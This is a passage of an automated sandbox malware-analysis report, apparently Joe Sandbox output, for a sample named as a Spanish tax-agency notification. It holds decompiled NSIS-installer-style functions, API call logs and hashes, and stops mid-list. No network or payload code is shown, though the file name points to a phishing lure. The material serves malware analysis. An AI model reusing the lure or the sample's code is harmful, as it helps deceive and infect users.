0x0040293e
0x00402941
0x00402946
0x00402946
0x00402950
0x00402950
0x0040295d
0x00402963
0x00402969
0x0040296a
0x0040296b
0x0040296e
0x00402975
0x00402975
0x0040297b
0x0040297b
0x00402986
0x00402987
0x0040298b
0x0040298f
0x00402995
0x00402995
0x0040299c
0x00402245
0x00402ac2
0x00402ace

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 004028FB
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 00402917
GlobalFree.KERNEL32(?), ref: 00402950
GlobalFree.KERNEL32(00000000), ref: 00402963
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 0040297B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 0040298F

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: c80f1b7699c573d2cd61cc0fc8ca34bd45e7fada534f6731a09c6b940c6eaf41
Instruction ID: bbedb4fc7ab5ed61472c20f64d7886a30c327f5f8cbd10d414b970b30e546654
Opcode Fuzzy Hash: c80f1b7699c573d2cd61cc0fc8ca34bd45e7fada534f6731a09c6b940c6eaf41
Instruction Fuzzy Hash: E021DDB1800128BBCF206FA5DE49D9E7E79EF08364F10423AF960762E0CB394D418F98

Uniqueness

Uniqueness Score: -1.00%

Function 00402592 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00402592(int __ebx, void* __edx, intOrPtr* __esi) {
				signed int _t14;
				int _t17;
				int _t24;
				signed int _t29;
				intOrPtr* _t32;
				void* _t34;
				void* _t35;
				void* _t38;
				signed int _t40;

				_t32 = __esi;
				_t24 = __ebx;
				_t14 =  *(_t35 - 0x20);
				_t38 = __edx - 0x38;
				 *(_t35 - 0x4c) = _t14;
				_t27 = 0 | _t38 == 0x00000000;
				_t29 = _t38 == 0;
				if(_t14 == __ebx) {
					if(__edx != 0x38) {
						_t17 = lstrlenW(E00402C37(0x11)) + _t16;
					} else {
						E00402C37(0x21);
						WideCharToMultiByte(__ebx, __ebx, "C:\Users\Arthur\AppData\Local\Temp\nsu2B23.tmp", 0xffffffff, "C:\Users\Arthur\AppData\Local\Temp\nsu2B23.tmp\System.dll", 0x400, __ebx, __ebx);
						_t17 = lstrlenA("C:\Users\Arthur\AppData\Local\Temp\nsu2B23.tmp\System.dll");
					}
				} else {
					E00402C15(1);
					 *0x40ada8 = __ax;
					 *((intOrPtr*)(__ebp - 0x3c)) = __edx;
				}
				 *(_t35 + 8) = _t17;
				if( *_t32 == _t24) {
					L13:
					 *((intOrPtr*)(_t35 - 4)) = 1;
				} else {
					_t34 = E004061BF(_t27, _t32);
					if((_t29 |  *(_t35 - 0x4c)) != 0 ||  *((intOrPtr*)(_t35 - 0x1c)) == _t24 || E00405E32(_t34, _t34) >= 0) {
						_t14 = E00405E03(_t34, "C:\Users\Arthur\AppData\Local\Temp\nsu2B23.tmp\System.dll",  *(_t35 + 8));
						_t40 = _t14;
						if(_t40 == 0) {
							goto L13;
						}
					} else {
						goto L13;
					}
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00402592
0x00402592
0x00402592
0x00402597
0x0040259a
0x0040259d
0x004025a2
0x004025a4
0x004025c4
0x00402602
0x004025c6
0x004025c8
0x004025e2
0x004025ed
0x004025ed
0x004025a6
0x004025a8
0x004025ad
0x004025bb
0x004025be
0x00402607
0x0040260a
0x00402885
0x00402885
0x00402610
0x00402619
0x0040261b
0x0040263a
0x004015b4
0x004015b6
0x00000000
0x004015bc
0x00000000
0x00000000
0x00000000
0x0040261b
0x00402ac2
0x00402ace

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\System.dll,00000400,?,?,00000021), ref: 004025E2
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\System.dll,00000400,?,?,00000021), ref: 004025ED

Strings

C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\System.dll, xrefs: 004025AD, 004025D4, 004025E8, 00402634
C:\Users\user\AppData\Local\Temp\nsu2B23.tmp, xrefs: 004025DB

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsu2B23.tmp$C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\System.dll
API String ID: 3109718747-1581020647
Opcode ID: b12df498abedb34b717a172da15718af2b4b4c367ff4dc2f2e44eabaa543b304
Instruction ID: aeea25b17c56a12648c97371da72875efc2076f5b2bafbb971aab2720b62453c
Opcode Fuzzy Hash: b12df498abedb34b717a172da15718af2b4b4c367ff4dc2f2e44eabaa543b304
Instruction Fuzzy Hash: B5115B72A00200BECB106FB18E8D99F7664AF95389F20843FF502F22C1DAFC49425B5E

Uniqueness

Uniqueness Score: -1.00%

Function 100022D0 Relevance: 7.6, APIs: 5, Instructions: 135
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E100022D0(void* __edx) {
				void* _t37;
				signed int _t38;
				void* _t39;
				void* _t41;
				signed int* _t42;
				signed int* _t51;
				void* _t52;
				void* _t54;

				 *(_t54 + 0x10) = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + 0x1014)) > 0x00000000;
				while(1) {
					_t9 =  *((intOrPtr*)(_t54 + 0x18)) + 0x1018; // 0x1018
					_t51 = ( *(_t54 + 0x10) << 5) + _t9;
					_t52 = _t51[6];
					if(_t52 == 0) {
						goto L9;
					}
					_t41 = 0x1a;
					if(_t52 == _t41) {
						goto L9;
					}
					if(_t52 != 0xffffffff) {
						if(_t52 <= 0 || _t52 > 0x19) {
							_t51[6] = _t41;
							goto L12;
						} else {
							_t37 = E100012BA(_t52 - 1);
							L10:
							goto L11;
						}
					} else {
						_t37 = E10001243();
						L11:
						_t52 = _t37;
						L12:
						_t13 =  &(_t51[2]); // 0x1020
						_t42 = _t13;
						if(_t51[1] != 0xffffffff) {
						}
						_t38 =  *_t51;
						_t51[7] = 0;
						if(_t38 > 7) {
							L27:
							_t39 = GlobalFree(_t52);
							if( *(_t54 + 0x10) == 0) {
								return _t39;
							}
							if( *(_t54 + 0x10) !=  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x18)) + 0x1014))) {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) + 1;
							} else {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t38 * 4 +  &M10002447))) {
								case 0:
									 *_t42 = 0;
									goto L27;
								case 1:
									__eax = E10001311(__ebp);
									goto L21;
								case 2:
									 *__edi = E10001311(__ebp);
									__edi[1] = __edx;
									goto L27;
								case 3:
									__eax = GlobalAlloc(0x40,  *0x1000406c);
									 *(__esi + 0x1c) = __eax;
									__edx = 0;
									 *__edi = __eax;
									__eax = WideCharToMultiByte(0, 0, __ebp,  *0x1000406c, __eax,  *0x1000406c, 0, 0);
									goto L27;
								case 4:
									__eax = E1000122C(__ebp);
									 *(__esi + 0x1c) = __eax;
									L21:
									 *__edi = __eax;
									goto L27;
								case 5:
									__eax = GlobalAlloc(0x40, 0x10);
									_push(__eax);
									 *(__esi + 0x1c) = __eax;
									_push(__ebp);
									 *__edi = __eax;
									__imp__CLSIDFromString();
									goto L27;
								case 6:
									if( *__ebp != __cx) {
										__eax = E10001311(__ebp);
										 *__ebx = __eax;
									}
									goto L27;
								case 7:
									 *(__esi + 0x18) =  *(__esi + 0x18) - 1;
									( *(__esi + 0x18) - 1) *  *0x1000406c =  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2 + 0x18;
									 *__ebx =  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2 + 0x18;
									asm("cdq");
									__eax = E10001470(__edx,  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2 + 0x18, __edx,  *0x10004074 + ( *(__esi + 0x18) - 1) *  *0x1000406c * 2);
									goto L27;
							}
						}
					}
					L9:
					_t37 = E1000122C(0x10004044);
					goto L10;
				}
			}

0x100022e4
0x100022e8
0x100022f3
0x100022f3
0x100022fa
0x100022ff
0x00000000
0x00000000
0x10002303
0x10002306
0x00000000
0x00000000
0x1000230b
0x10002316
0x10002326
0x00000000
0x1000231d
0x1000231f
0x10002335
0x00000000
0x10002335
0x1000230d
0x1000230d
0x10002336
0x10002336
0x10002338
0x1000233c
0x1000233c
0x1000233f
0x1000233f
0x10002347
0x1000234e
0x10002351
0x10002410
0x10002411
0x1000241c
0x10002446
0x10002446
0x1000242c
0x10002438
0x1000242e
0x1000242e
0x1000242e
0x00000000
0x10002357
0x10002357
0x00000000
0x1000235e
0x00000000
0x00000000
0x10002366
0x00000000
0x00000000
0x10002374
0x10002376
0x00000000
0x00000000
0x10002397
0x1000239d
0x100023a0
0x100023a2
0x100023b2
0x00000000
0x00000000
0x1000237f
0x10002384
0x10002387
0x10002388
0x00000000
0x00000000
0x100023be
0x100023c4
0x100023c5
0x100023c8
0x100023c9
0x100023cb
0x00000000
0x00000000
0x100023d7
0x100023da
0x100023e6
0x100023e8
0x00000000
0x00000000
0x100023f4
0x10002400
0x10002403
0x10002405
0x10002408
0x00000000
0x00000000
0x10002357
0x10002351
0x1000232b
0x10002330
0x00000000
0x10002330

APIs

GlobalFree.KERNEL32(00000000), ref: 10002411

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Memory Dump Source

Source File: 00000000.00000002.2083600919.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2083574702.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083633665.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083683265.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
Instruction ID: e010a8171ff36a63e9221139458dc5df23460d7ee6f57f6168b5e09891e1807c
Opcode Fuzzy Hash: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
Instruction Fuzzy Hash: 9141D2B4408305EFF324DF24C880A6AB7F8FB843D4B11892DF94687199DB34BA94CB65

Uniqueness

Uniqueness Score: -1.00%

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100015FF(struct HINSTANCE__* _a4, short* _a8) {
				_Unknown_base(*)()* _t7;
				void* _t10;
				int _t14;

				_t14 = WideCharToMultiByte(0, 0, _a8, 0xffffffff, 0, 0, 0, 0);
				_t10 = GlobalAlloc(0x40, _t14);
				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t10, _t14, 0, 0);
				_t7 = GetProcAddress(_a4, _t10);
				GlobalFree(_t10);
				return _t7;
			}

0x10001619
0x10001625
0x10001632
0x10001639
0x10001642
0x1000164e

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2083600919.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2083574702.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083633665.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2083683265.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Uniqueness

Uniqueness Score: -1.00%

Function 00401D57 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401D57() {
				void* _t18;
				struct HINSTANCE__* _t22;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 8),  *(_t27 - 0x24));
				GetClientRect(_t25, _t27 - 0x58);
				_t18 = SendMessageW(_t25, 0x172, _t22, LoadImageW(_t22, E00402C37(_t22), _t22,  *(_t27 - 0x50) *  *(_t27 - 0x20),  *(_t27 - 0x4c) *  *(_t27 - 0x20), 0x10));
				if(_t18 != _t22) {
					DeleteObject(_t18);
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401d63
0x00401d6a
0x00401d99
0x00401da1
0x00401da8
0x00401da8
0x00402ac2
0x00402ace

APIs

GetDlgItem.USER32(?,?), ref: 00401D5D
GetClientRect.USER32(00000000,?), ref: 00401D6A
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D8B
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D99
DeleteObject.GDI32(00000000), ref: 00401DA8

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 3d379d5cf174b1f3754fd0e8aded0e40a14ad1f56653ff3a87a584377fb567a4
Instruction ID: d6b80873b4a6bbd9af873cfa92cf23dd081e8a17906ab7f6c0372a94bb23d9f5
Opcode Fuzzy Hash: 3d379d5cf174b1f3754fd0e8aded0e40a14ad1f56653ff3a87a584377fb567a4
Instruction Fuzzy Hash: 03F0ECB2604518AFDB41DBE4DE88CEEB7BCEB48341B14446AF641F6191CA789D118B68

Uniqueness

Uniqueness Score: -1.00%

Function 00404A7F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404A7F(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E00406281(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E00406281(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E00406281(_t44, _t50, 0x7a1f20, 0x7a1f20, _a8);
				wsprintfW(_t34 + lstrlenW(0x7a1f20) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x7a79f8, _a4, 0x7a1f20);
			}

0x00404a88
0x00404a8d
0x00404a95
0x00404a96
0x00404aa3
0x00404aab
0x00404aac
0x00404aae
0x00404ab0
0x00404ab2
0x00404ab5
0x00404ab5
0x00404abc
0x00404ac2
0x00404ac2
0x00404ac9
0x00404ad0
0x00404ad3
0x00404ad6
0x00404ad6
0x00404ada
0x00404aea
0x00404aec
0x00404aef
0x00404a98
0x00404a98
0x00404a9f
0x00404a9f
0x00404af7
0x00404b02
0x00404b18
0x00404b29
0x00404b45

APIs

lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,-007A9000), ref: 00404B20
wsprintfW.USER32 ref: 00404B29
SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B3C

Strings

%u.%u%s%s, xrefs: 00404B0A

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: e52f1a5f5cfb5a9a0e1921420a7f7e901b35480ee7d38de5188ba9653754f71b
Instruction ID: e59333b35207274dfa12745fa15a0a2b1e84881af2dc0bba7fa0e94120285970
Opcode Fuzzy Hash: e52f1a5f5cfb5a9a0e1921420a7f7e901b35480ee7d38de5188ba9653754f71b
Instruction Fuzzy Hash: AD11EB73A441283BDB00A66D9C45E9E3298DB85374F250237FE26F21D1DD78C82286E8

Uniqueness

Uniqueness Score: -1.00%

Function 00401C19 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C19(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t61;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402C15("true");
				 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
				 *(_t64 - 0x10) = _t29;
				_t30 = E00402C15(4);
				 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x14) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x10)) = E00402C37(0x33);
				}
				__eflags =  *(_t64 - 0x14) & 0x00000002;
				if(( *(_t64 - 0x14) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402C37(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x2c)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t59 = E00402C37();
					_t32 = E00402C37();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t59;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x10),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t61 = E00402C15();
					 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
					_t41 = E00402C15(2);
					 *((intOrPtr*)(_t64 - 0x4c)) = _t57;
					_t56 =  *(_t64 - 0x14) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t61, _t41,  *(_t64 - 0x10),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x30) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t61, _t41,  *(_t64 - 0x10),  *(_t64 + 8), _t46, _t56, _t64 - 0x30);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x28)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x28)) >= _t46) {
					_push( *(_t64 - 0x30));
					E004061A6();
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c19
0x00401c1b
0x00401c22
0x00401c25
0x00401c28
0x00401c32
0x00401c36
0x00401c39
0x00401c42
0x00401c42
0x00401c45
0x00401c49
0x00401c52
0x00401c52
0x00401c55
0x00401c59
0x00401c5b
0x00401cb0
0x00401cb2
0x00401cbd
0x00401cc7
0x00401cca
0x00401cca
0x00401cd3
0x00000000
0x00401c5d
0x00401c64
0x00401c66
0x00401c69
0x00401c6f
0x00401c76
0x00401c79
0x00401ca1
0x00401cd9
0x00401cd9
0x00401c7b
0x00401c89
0x00401c91
0x00401c94
0x00401c94
0x00401c79
0x00401cdc
0x00401cdf
0x00401ce5
0x00402a65
0x00402a65
0x00402ac2
0x00402ace

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C89
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA1

Strings

!, xrefs: 00401C55

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
